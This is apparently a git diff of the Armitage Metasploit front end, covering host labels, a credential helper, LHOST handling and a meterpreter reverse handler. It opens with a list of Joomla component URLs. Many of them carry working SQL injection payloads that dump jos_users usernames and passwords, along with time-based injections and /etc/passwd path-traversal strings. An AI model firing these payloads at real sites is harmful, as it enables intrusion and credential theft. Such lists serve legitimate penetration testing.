index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
||||
index.php?option=com_seyret&view=
|
||||
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
|
||||
index.php?option=com_smartsite&controller=
|
||||
index.php?option=com_spa&view=spa_product&cid=
|
||||
index.php?option=com_spidercalendar
|
||||
index.php?option=com_spidercalendar&date=1'
|
||||
index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
||||
index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
||||
index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
||||
index.php?option=com_staticxt&staticfile=test.php&id=1923
|
||||
index.php?option=com_szallasok&mode=8&id=25 (SQL)
|
||||
index.php?option=com_tag&task=tag&tag=
|
||||
index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
|
||||
index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
|
||||
index.php?option=com_ultimateportfolio&controller=
|
||||
index.php?option=com_users&view=registration
|
||||
index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
|
||||
index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
|
||||
index.php?option=com_x-shop&action=artdetail&idd='
|
||||
index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
|
||||
index.php?option=com_xcomp&controller=../../[LFI]%00
|
||||
index.php?option=com_xvs&controller=../../[LFI]%00
|
||||
index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
|
||||
index.php?option=com_yjcontactus&view=
|
||||
index.php?option=com_youtube&id_cate=4
|
||||
index.php?option=com_zina&view=zina&Itemid=9
|
||||
index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
|
||||
index.php?search=NoGe&option=com_esearch&searchId=
|
||||
index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
|
||||
index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
|
||||
js/index.php?option=com_socialads&view=showad&Itemid=94
|
||||
libraries/joomla/utilities/compat/php50x.php
|
||||
libraries/pcl/pcltar.php
|
||||
libraries/phpmailer/phpmailer.php
|
||||
libraries/phpxmlrpc/xmlrpcs.php
|
||||
modules/mod_artuploader/upload.php");
|
||||
modules/mod_as_category.php
|
||||
modules/mod_calendar.php
|
||||
modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
|
||||
modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
|
||||
modules/mod_jfancy/script.php");
|
||||
modules/mod_ppc_simple_spotlight/elements/upload_file.php
|
||||
modules/mod_ppc_simple_spotlight/img/
|
||||
modules/mod_pxt/
|
||||
modules/mod_quick_question.php
|
||||
modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
|
||||
patch/makedown.php?arquivo=../../../../etc/passwd
|
||||
plugins/content/efup_files/helper.php");
|
||||
plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
|
||||
plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
|
||||
plugins/editors/xstandard/attachmentlibrary.php
|
||||
print.php?task=person&id=36 and 1=1
|
||||
templates/be2004-2/
|
||||
templates/ja_purity/
|
||||
wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
|
||||
web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
|
@ -16,6 +16,8 @@
|
|||
depend="yes"
|
||||
debug="true"
|
||||
optimize="yes"
|
||||
target="1.6"
|
||||
source="1.6"
|
||||
includeantruntime="fuckno"
|
||||
>
|
||||
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<center><h1>Armitage 1.45</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 4 Jan 13</p>
|
||||
<br />Release: 23 Jan 13</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
|
||||
^\[\*\] (.*) \cC[*]\o $1
|
||||
^\[\+\] (.*) \c9[+]\o $1
|
||||
^\[\!\] (.*) \c8[!]\o $1
|
||||
^\[\-\] (.*) \c4[-]\o $1
|
||||
^ =\[ (.*) =[\c7 $1
|
||||
^(=[=\s]+) \cE$1
|
||||
|
|
|
@ -0,0 +1,12 @@
|
|||
@echo off
|
||||
set BASE=$$BASE$$..\..\
|
||||
cd "%BASE%"
|
||||
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%nmap;%BASE%postgresql\bin;%PATH%
|
||||
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
|
||||
set JAVA_HOME="%BASE%java"
|
||||
:NO_JAVA
|
||||
set MSF_DATABASE_CONFIG="%BASE%apps\pro\ui\config\database.yml"
|
||||
set MSF_BUNDLE_GEMS=0
|
||||
set BUNDLE_GEMFILE=%BASE%apps\pro\ui\Gemfile
|
||||
cd "%BASE%apps\pro\msf3"
|
||||
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
|
|
@ -42,8 +42,13 @@ sub c_client {
|
|||
sub setupHandlers {
|
||||
find_job("Exploit: multi/handler", {
|
||||
if ($1 == -1) {
|
||||
# set LPORT for the user...
|
||||
local('$c');
|
||||
$c = call($client, "console.allocate")['id'];
|
||||
call($client, "console.write", $c, "setg LPORT " . randomPort() . "\n");
|
||||
call($client, "console.release", $c);
|
||||
|
||||
# setup a handler for meterpreter
|
||||
call($client, "core.setg", "LPORT", randomPort());
|
||||
call($client, "module.execute", "exploit", "multi/handler", %(
|
||||
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
||||
LHOST => "0.0.0.0",
|
||||
|
@ -55,7 +60,7 @@ sub setupHandlers {
|
|||
|
||||
sub main {
|
||||
global('$client $mclient');
|
||||
local('%r $exception');
|
||||
local('%r $exception $lhost $temp $c');
|
||||
|
||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||
|
||||
|
@ -81,8 +86,24 @@ sub main {
|
|||
# setup second thread.
|
||||
%r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326);
|
||||
|
||||
# resolve lhost..
|
||||
$c = call($client, "console.allocate")['id'];
|
||||
call($client, "console.write", $c, "setg LHOST\n");
|
||||
while ($lhost eq "") {
|
||||
$temp = call($client, "console.read", $c)['data'];
|
||||
if (["$temp" startsWith: "LHOST => "]) {
|
||||
$lhost = substr(["$temp" trim], 9);
|
||||
}
|
||||
else {
|
||||
# this shouldn't happen because having LHOST set is a precondition
|
||||
# for Cortana to connect to a team server.
|
||||
sleep(1000);
|
||||
}
|
||||
}
|
||||
call($client, "console.release", $c);
|
||||
|
||||
# pass some objects back yo.
|
||||
[$loader passObjects: $client, $mclient];
|
||||
[$loader passObjects: $client, $mclient, $lhost];
|
||||
|
||||
# don't make previous messages available...
|
||||
call($mclient, "armitage.skip");
|
||||
|
|
|
@ -9,7 +9,7 @@ import msf.*;
|
|||
|
||||
# setg("varname", "value")
|
||||
sub setg {
|
||||
call_async("core.setg", $1, $2);
|
||||
cmd_safe("setg $1 $2");
|
||||
}
|
||||
|
||||
sub readg {
|
||||
|
@ -335,14 +335,22 @@ sub multi_handler {
|
|||
}
|
||||
|
||||
sub handler {
|
||||
local('%o $3');
|
||||
local('%o $3 $key $value');
|
||||
|
||||
# default options
|
||||
%o['PAYLOAD'] = $1;
|
||||
%o['LPORT'] = $2;
|
||||
%o['DisablePayloadHandler'] = 'false';
|
||||
%o['ExitOnSession'] = 'false';
|
||||
|
||||
# let the user override anything
|
||||
if ($3) {
|
||||
%o = copy($3);
|
||||
foreach $key => $value ($3) {
|
||||
%o[$key] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
%o['PAYLOAD'] = "payload/ $+ $1";
|
||||
%o['LPORT'] = $2;
|
||||
|
||||
# make sure LHOST is correct
|
||||
if ('LHOST' !in %o) {
|
||||
if ("*http*" iswm $1) {
|
||||
%o['LHOST'] = lhost();
|
||||
|
@ -352,6 +360,7 @@ sub handler {
|
|||
}
|
||||
}
|
||||
|
||||
# let's do it...
|
||||
return launch('exploit', 'multi/handler', %o);
|
||||
}
|
||||
|
||||
|
|
|
@ -59,7 +59,7 @@ sub showHost {
|
|||
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
|
||||
push(@overlay, 'resources/windowsxp.png');
|
||||
}
|
||||
else if ("*8*" iswm $match) {
|
||||
else if ("*8*" iswm $match && "*2008*" !iswm $match) {
|
||||
push(@overlay, 'resources/windows8.png');
|
||||
}
|
||||
else {
|
||||
|
@ -139,7 +139,7 @@ sub _connectToMetasploit {
|
|||
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
|
||||
|
||||
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
|
||||
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
|
||||
$REMOTE = iff($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost", $null, 1);
|
||||
|
||||
$flag = 10;
|
||||
while ($flag) {
|
||||
|
@ -160,7 +160,7 @@ sub _connectToMetasploit {
|
|||
}
|
||||
|
||||
# connecting locally? go to Metasploit directly...
|
||||
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
|
||||
if ($REMOTE is $null) {
|
||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||
$aclient = [new RpcAsync: $client];
|
||||
$mclient = $client;
|
||||
|
@ -239,10 +239,6 @@ sub _connectToMetasploit {
|
|||
[$progress setNote: "Connected: ..."];
|
||||
[$progress setProgress: 60];
|
||||
|
||||
if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') {
|
||||
showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server.");
|
||||
}
|
||||
|
||||
dispatchEvent(&postSetup);
|
||||
}, \$progress));
|
||||
}
|
||||
|
|
|
@ -679,12 +679,20 @@ sub addFileListener {
|
|||
$actions["SigningCert"] = $actions["*FILE*"];
|
||||
$actions["SigningKey"] = $actions["*FILE*"];
|
||||
$actions["Wordlist"] = $actions["*FILE*"];
|
||||
$actions["EXE::Custom"] = $actions["*FILE*"];
|
||||
$actions["EXE::Template"] = $actions["*FILE*"];
|
||||
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||
$actions["REXE"] = $actions["*FILE*"];
|
||||
|
||||
# set up an action to choose a session
|
||||
$actions["SESSION"] = lambda(&chooseSession);
|
||||
|
||||
# helpers to set credential pairs from database... yay?
|
||||
$actions["USERNAME"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD");
|
||||
$actions["PASSWORD"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD");
|
||||
$actions["SMBUser"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass");
|
||||
$actions["SMBPass"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass");
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["RHOST"] = {
|
||||
local('$title $temp');
|
||||
|
|
|
@ -446,7 +446,7 @@ sub quickListDialog {
|
|||
|
||||
$button = [new JButton: $2];
|
||||
[$button addActionListener: lambda({
|
||||
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
|
||||
[$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model];
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
|
||||
|
||||
|
|
|
@ -16,47 +16,7 @@ import java.awt.event.*;
|
|||
import ui.*;
|
||||
|
||||
sub manage_proxy_server {
|
||||
manage_job("Auxiliary: server/socks4a",
|
||||
# start server function
|
||||
{
|
||||
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
|
||||
},
|
||||
# description of job (for job kill function)
|
||||
{
|
||||
local('$host $port');
|
||||
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
|
||||
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
sub report_url {
|
||||
find_job($name, {
|
||||
if ($1 == -1) {
|
||||
showError("Server not found");
|
||||
}
|
||||
else {
|
||||
local('$job $host $port $uripath');
|
||||
$job = call($client, "job.info", $1);
|
||||
|
||||
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
|
||||
$uripath = $job["info"]["uripath"];
|
||||
|
||||
local('$dialog $text $ok');
|
||||
$dialog = dialog("Output", 320, 240);
|
||||
$text = [new JTextArea];
|
||||
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
|
||||
|
||||
$button = [new JButton: "Ok"];
|
||||
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||
|
||||
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
||||
[$dialog add: center($button), [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
});
|
||||
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", 1);
|
||||
}
|
||||
|
||||
sub find_job {
|
||||
|
@ -80,26 +40,6 @@ sub find_job {
|
|||
}, $name => $1, $function => $2));
|
||||
}
|
||||
|
||||
# manage_job(job name, { start job function }, { job dialog info })
|
||||
sub manage_job {
|
||||
local('$name $startf $stopf');
|
||||
($name, $startf, $stopf) = @_;
|
||||
|
||||
find_job($name, lambda({
|
||||
if ($1 == -1) {
|
||||
[$startf];
|
||||
}
|
||||
else {
|
||||
local('$job $confirm $foo $confirm');
|
||||
$job = call($client, "job.info", $1);
|
||||
$confirm = askYesNo([$stopf : $1, $job], "Stop Job");
|
||||
if ($confirm eq "0") {
|
||||
call_async($client, "job.stop", $1);
|
||||
}
|
||||
}
|
||||
}, \$startf, \$stopf));
|
||||
}
|
||||
|
||||
sub generatePayload {
|
||||
local('$file');
|
||||
$file = saveFile2();
|
||||
|
@ -450,6 +390,11 @@ sub _launch_dialog {
|
|||
elog("launched DNS enum for $domain");
|
||||
}
|
||||
}
|
||||
else if ($type eq "auxiliary" && $command eq "server/socks4a") {
|
||||
local('$host $port');
|
||||
($host, $port) = values($options, @('SRVHOST', 'SRVPORT'));
|
||||
elog("started SOCKS proxy server at $host $+ : $+ $port");
|
||||
}
|
||||
|
||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
|
||||
}
|
||||
|
|
|
@ -54,6 +54,29 @@ sub host_selected_items {
|
|||
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
|
||||
item($i, '4. 8/RT', '4', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "8"));
|
||||
|
||||
item($h, "Set Label...", 'S', lambda({
|
||||
# calculate preexisting label to prompt with
|
||||
local('$label %l $host');
|
||||
|
||||
# get a label
|
||||
foreach $host ($hosts) {
|
||||
if ($label eq "") {
|
||||
$label = getHostLabel($host);
|
||||
}
|
||||
}
|
||||
|
||||
# ask for a label
|
||||
$label = ask("Set label to:", $label);
|
||||
if ($label !is $null) {
|
||||
foreach $host ($hosts) {
|
||||
%l[$host] = ["$label" trim];
|
||||
}
|
||||
call_async($mclient, "db.report_labels", %l);
|
||||
}
|
||||
}, $hosts => $2));
|
||||
|
||||
separator($h);
|
||||
|
||||
item($h, "Remove Host", 'R', clearHostFunction($2));
|
||||
}
|
||||
|
||||
|
|
|
@ -372,3 +372,34 @@ sub launchBruteForce {
|
|||
[$console start];
|
||||
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
||||
}
|
||||
|
||||
sub credentialHelper {
|
||||
thread(lambda({
|
||||
[Thread yield];
|
||||
|
||||
# gather our credentials please
|
||||
local('$creds $cred @creds');
|
||||
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
|
||||
foreach $cred ($creds) {
|
||||
if ($PASS eq "SMBPass" || $cred['ptype'] ne "smb_hash") {
|
||||
push(@creds, $cred);
|
||||
}
|
||||
}
|
||||
|
||||
# pop up a dialog to let the user choose their favorite set
|
||||
quickListDialog("Choose credentials", "Select", @("user", "user", "pass", "host"), @creds, $width => 640, $height => 240, lambda({
|
||||
if ($1 eq "") {
|
||||
return;
|
||||
}
|
||||
|
||||
local('$user $pass');
|
||||
$user = [$3 getSelectedValueFromColumn: $2, 'user'];
|
||||
$pass = [$3 getSelectedValueFromColumn: $2, 'pass'];
|
||||
|
||||
[$model setValueForKey: $USER, "Value", $user];
|
||||
[$model setValueForKey: $PASS, "Value", $pass];
|
||||
[$model fireListeners];
|
||||
}, \$callback, \$model, \$USER, \$PASS));
|
||||
}, \$USER, \$PASS, \$model, $callback => $4));
|
||||
}
|
||||
|
||||
|
|
|
@ -403,9 +403,6 @@ sub main {
|
|||
# we need this global to be set so our reverse listeners work as expected.
|
||||
$MY_ADDRESS = $host;
|
||||
|
||||
# make sure clients know a team server is present. can't happen async.
|
||||
call($client, "core.setg", "ARMITAGE_TEAM", '1');
|
||||
|
||||
#
|
||||
# setup the client cache
|
||||
#
|
||||
|
|
|
@ -21,6 +21,10 @@ sub getHostOS {
|
|||
return iff($1 in %hosts, %hosts[$1]['os_name'], $null);
|
||||
}
|
||||
|
||||
sub getHostLabel {
|
||||
return iff($1 in %hosts, %hosts[$1]['label'], $null);
|
||||
}
|
||||
|
||||
sub getSessions {
|
||||
return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']);
|
||||
}
|
||||
|
@ -122,7 +126,7 @@ on sessions {
|
|||
}
|
||||
|
||||
if ($host['show'] eq "1") {
|
||||
push(@nodes, @($id, describeHost($host), showHost($host), $tooltip));
|
||||
push(@nodes, @($id, $host['label'] . "", describeHost($host), showHost($host), $tooltip));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -130,14 +134,14 @@ on sessions {
|
|||
}
|
||||
|
||||
sub refreshGraph {
|
||||
local('$node $id $description $icons $tooltip $highlight');
|
||||
local('$node $id $label $description $icons $tooltip $highlight');
|
||||
|
||||
# update everything...
|
||||
[$graph start];
|
||||
# do the hosts?
|
||||
foreach $node (@nodes) {
|
||||
($id, $description, $icons, $tooltip) = $node;
|
||||
[$graph addNode: $id, $description, $icons, $tooltip];
|
||||
($id, $label, $description, $icons, $tooltip) = $node;
|
||||
[$graph addNode: $id, $label, $description, $icons, $tooltip];
|
||||
}
|
||||
|
||||
# update the routes
|
||||
|
|
|
@ -159,12 +159,15 @@ sub setg {
|
|||
}
|
||||
|
||||
sub createDefaultHandler {
|
||||
warn("Creating a default reverse handler...");
|
||||
# setup a handler for meterpreter
|
||||
setg("LPORT", randomPort());
|
||||
local('$port');
|
||||
$port = randomPort();
|
||||
setg("LPORT", $port);
|
||||
warn("Creating a default reverse handler... 0.0.0.0: $+ $port");
|
||||
call_async($client, "module.execute", "exploit", "multi/handler", %(
|
||||
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
||||
LHOST => "0.0.0.0",
|
||||
LPORT => $port,
|
||||
ExitOnSession => "false"
|
||||
));
|
||||
}
|
||||
|
@ -307,7 +310,12 @@ sub startMetasploit {
|
|||
savePreferences();
|
||||
}
|
||||
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null];
|
||||
if ("*apps*pro*" iswm $msfdir) {
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd_new.bat"), $null];
|
||||
}
|
||||
else {
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null];
|
||||
}
|
||||
$data = join("\r\n", readAll($handle, -1));
|
||||
closef($handle);
|
||||
|
||||
|
@ -416,7 +424,7 @@ sub connectDialog {
|
|||
[$dialog setVisible: 0];
|
||||
connectToMetasploit($h, $p, $u, $s);
|
||||
|
||||
if ($h eq "127.0.0.1" || $h eq "localhost") {
|
||||
if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") {
|
||||
try {
|
||||
closef(connect("127.0.0.1", $p, 1000));
|
||||
}
|
||||
|
|
|
@ -33,7 +33,7 @@ sub listWorkspaces {
|
|||
$dialog = [new JPanel];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @());
|
||||
($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "labels", "session"), @());
|
||||
updateWorkspaceList($table, $model);
|
||||
[$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
||||
|
||||
|
@ -88,15 +88,16 @@ sub workspaceDialog {
|
|||
local('$table $model');
|
||||
($table, $model) = $2;
|
||||
|
||||
local('$dialog $name $host $ports $os $button $session');
|
||||
local('$dialog $name $host $ports $os $button $session $label');
|
||||
$dialog = dialog($title, 640, 480);
|
||||
[$dialog setLayout: [new GridLayout: 6, 1]];
|
||||
[$dialog setLayout: [new GridLayout: 7, 1]];
|
||||
|
||||
$name = [new ATextField: $1['name'], 16];
|
||||
[$name setEnabled: $enable];
|
||||
$host = [new ATextField: $1['hosts'], 16];
|
||||
$ports = [new ATextField: $1['ports'], 16];
|
||||
$os = [new ATextField: $1['os'], 16];
|
||||
$label = [new ATextField: $1['labels'], 16];
|
||||
$session = [new JCheckBox: "Hosts with sessions only"];
|
||||
if ($1['session'] eq 1) {
|
||||
[$session setSelected: 1];
|
||||
|
@ -108,6 +109,7 @@ sub workspaceDialog {
|
|||
[$dialog add: label_for("Hosts:", 60, $host)];
|
||||
[$dialog add: label_for("Ports:", 60, $ports)];
|
||||
[$dialog add: label_for("OS:", 60, $os)];
|
||||
[$dialog add: label_for("Labels:", 60, $label)];
|
||||
[$dialog add: $session];
|
||||
|
||||
[$dialog add: center($button)];
|
||||
|
@ -116,15 +118,16 @@ sub workspaceDialog {
|
|||
|
||||
[$button addActionListener: lambda({
|
||||
# yay, we have a dialog...
|
||||
local('$n $h $p $o $s @workspaces $ws $temp');
|
||||
local('$n $h $p $o $s $l @workspaces $ws $temp');
|
||||
$n = [[$name getText] trim];
|
||||
$h = [strrep([$host getText], '*', '%', '?', '_') trim];
|
||||
$p = [[$ports getText] trim];
|
||||
$o = [strrep([$os getText], '*', '%', '?', '_') trim];
|
||||
$l = [[$label getText] trim];
|
||||
$s = [$session isSelected];
|
||||
|
||||
# save the new menu
|
||||
$ws = workspace($n, $h, $p, $o, $s);
|
||||
$ws = workspace($n, $h, $p, $o, $s, $l);
|
||||
@workspaces = workspaces();
|
||||
foreach $temp (@workspaces) {
|
||||
if ($temp["name"] eq $n) {
|
||||
|
@ -140,7 +143,7 @@ sub workspaceDialog {
|
|||
updateWorkspaceList($table, $model);
|
||||
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)];
|
||||
}, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model, \$label)];
|
||||
}
|
||||
|
||||
sub reset_workspace {
|
||||
|
@ -199,16 +202,16 @@ sub set_workspace {
|
|||
}
|
||||
|
||||
sub workspace {
|
||||
return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5);
|
||||
return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5, labels => $6);
|
||||
}
|
||||
|
||||
sub workspaces {
|
||||
local('$ws @r $name $host $port $os $session $workspace');
|
||||
local('$ws @r $name $host $port $os $session $workspace $label');
|
||||
$ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]);
|
||||
foreach $workspace ($ws) {
|
||||
if ($workspace ne "") {
|
||||
($name, $host, $port, $os, $session) = split('@@', $workspace);
|
||||
push(@r, workspace($name, $host, $port, $os, $session));
|
||||
($name, $host, $port, $os, $session, $label) = split('@@', $workspace);
|
||||
push(@r, workspace($name, $host, $port, $os, $session, $label));
|
||||
}
|
||||
}
|
||||
return @r;
|
||||
|
|
|
@ -196,6 +196,7 @@ public class ArmitageApplication extends JFrame {
|
|||
r.setLayout(new BorderLayout());
|
||||
r.add(t.component, BorderLayout.CENTER);
|
||||
r.pack();
|
||||
t.component.validate();
|
||||
|
||||
r.addWindowListener(new WindowAdapter() {
|
||||
public void windowClosing(WindowEvent ev) {
|
||||
|
|
|
@ -15,7 +15,7 @@ public class Loader implements Loadable {
|
|||
protected ScriptLoader loader;
|
||||
protected Hashtable shared = new Hashtable();
|
||||
protected ScriptVariables vars = new ScriptVariables();
|
||||
protected Object[] passMe = new Object[2];
|
||||
protected Object[] passMe = new Object[3];
|
||||
protected List scripts = new LinkedList();
|
||||
|
||||
public void unsetDebugLevel(int flag) {
|
||||
|
@ -51,10 +51,11 @@ public class Loader implements Loadable {
|
|||
}
|
||||
}
|
||||
|
||||
public void passObjects(Object o, Object p) {
|
||||
public void passObjects(Object o, Object p, Object q) {
|
||||
synchronized (this) {
|
||||
passMe[0] = o;
|
||||
passMe[1] = p;
|
||||
passMe[2] = q;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -69,7 +69,7 @@ public class Main implements Runnable, CortanaPipe.CortanaPipeListener {
|
|||
try {
|
||||
Object conns[] = setupConnections(host, port, user, pass, nick);
|
||||
//new MsgRpcImpl(user, pass, host, Integer.parseInt(port), true, false);
|
||||
engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, host);
|
||||
engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, (String)conns[2]);
|
||||
new Thread(this).start();
|
||||
}
|
||||
catch (java.lang.RuntimeException rex) {
|
||||
|
|
|
@ -453,17 +453,26 @@ public class NetworkGraph extends JComponent implements ActionListener {
|
|||
|
||||
protected Map tooltips = new HashMap();
|
||||
|
||||
public Object addNode(String id, String label, Image image, String tooltip) {
|
||||
public Object addNode(String id, String label, String description, Image image, String tooltip) {
|
||||
nodeImages.put(id, image);
|
||||
|
||||
if (label.length() > 0) {
|
||||
if (description.length() > 0) {
|
||||
description += "\n" + label;
|
||||
}
|
||||
else {
|
||||
description = label;
|
||||
}
|
||||
}
|
||||
|
||||
mxCell cell;
|
||||
if (!nodes.containsKey(id)) {
|
||||
cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97);
|
||||
cell = (mxCell)graph.insertVertex(parent, id, description, 0, 0, 125, 97);
|
||||
nodes.put(id, cell);
|
||||
}
|
||||
else {
|
||||
cell = (mxCell)nodes.get(id);
|
||||
cell.setValue(label);
|
||||
cell.setValue(description);
|
||||
}
|
||||
nodes.touch(id);
|
||||
|
||||
|
|
|
@ -14,11 +14,15 @@ public class DatabaseImpl implements RpcConnection {
|
|||
protected String workspaceid = "0";
|
||||
protected String hFilter = null;
|
||||
protected String sFilter = null;
|
||||
protected String[] lFilter = null;
|
||||
protected Route[] rFilter = null;
|
||||
protected String[] oFilter = null;
|
||||
protected int hindex = 0;
|
||||
protected int sindex = 0;
|
||||
|
||||
/* keep track of labels associated with each host */
|
||||
protected Map labels = new HashMap();
|
||||
|
||||
/* define the maximum hosts in a workspace */
|
||||
protected int maxhosts = 512;
|
||||
|
||||
|
@ -135,6 +139,20 @@ public class DatabaseImpl implements RpcConnection {
|
|||
return false;
|
||||
}
|
||||
|
||||
private boolean checkLabel(String host) {
|
||||
if (!labels.containsKey(host))
|
||||
return false;
|
||||
|
||||
String label_l = (labels.get(host) + "").toLowerCase();
|
||||
|
||||
for (int x = 0; x < lFilter.length; x++) {
|
||||
if (label_l.indexOf(lFilter[x]) != -1) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private boolean checkOS(String os) {
|
||||
String os_l = os.toLowerCase();
|
||||
|
||||
|
@ -145,11 +163,76 @@ public class DatabaseImpl implements RpcConnection {
|
|||
return false;
|
||||
}
|
||||
|
||||
protected void loadLabels() {
|
||||
try {
|
||||
/* query database for label data */
|
||||
List rows = executeQuery("SELECT DISTINCT data FROM notes WHERE ntype = 'armitage.labels'");
|
||||
if (rows.size() == 0)
|
||||
return;
|
||||
|
||||
/* extract our BASE64 encoded data */
|
||||
String data = ((Map)rows.get(0)).get("data") + "";
|
||||
System.err.println("Read: " + data.length() + " bytes");
|
||||
|
||||
/* turn our data into raw data */
|
||||
